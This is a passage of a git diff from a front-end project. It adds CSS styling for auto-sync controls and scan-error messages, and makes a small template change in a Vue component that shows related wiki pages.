+.auto-sync-toggle input { cursor: inherit; } +.auto-sync-meta { font-size: 12px; color: var(--mc-text-tertiary); font-variant-numeric: tabular-nums; } +.auto-sync-hint { font-size: 12px; color: var(--mc-text-tertiary); } .dir-input-wrap { flex: 1; display: flex; align-items: center; gap: 8px; padding: 8px 12px; border: 1px solid var(--mc-border); border-radius: 12px; background: var(--mc-bg-elevated); color: var(--mc-text-tertiary); } .dir-input-wrap:focus-within { border-color: var(--mc-primary); box-shadow: 0 0 0 2px rgba(217,119,87,0.1); } .dir-input { flex: 1; border: none; background: transparent; font-size: 13px; color: var(--mc-text-primary); outline: none; } .dir-input::placeholder { color: var(--mc-text-tertiary); } .scan-result { font-size: 12px; color: var(--mc-text-secondary); padding: 8px 10px; background: rgba(90,138,90,0.1); border-radius: 10px; } +.scan-errors { margin-top: 6px; display: flex; flex-direction: column; gap: 2px; } +.scan-error-item { color: var(--mc-danger); font-size: 11px; } /* Upload row: zone + add text side by side */ .upload-row { display: flex; gap: 12px; align-items: stretch; } diff --git a/mateclaw-ui/src/views/Wiki/components/RelatedPagesPanel.vue b/mateclaw-ui/src/views/Wiki/components/RelatedPagesPanel.vue index 4c6c7a0f..16e2f8a2 100644 --- a/mateclaw-ui/src/views/Wiki/components/RelatedPagesPanel.vue +++ b/mateclaw-ui/src/views/Wiki/components/RelatedPagesPanel.vue @@ -15,7 +15,8 @@ class="signal-tag" :class="sig" > - {{ signalIcon(sig) }} {{ t(`wiki.relation.${sig}`) }} + + {{ t(`wiki.relation.${sig}`) }}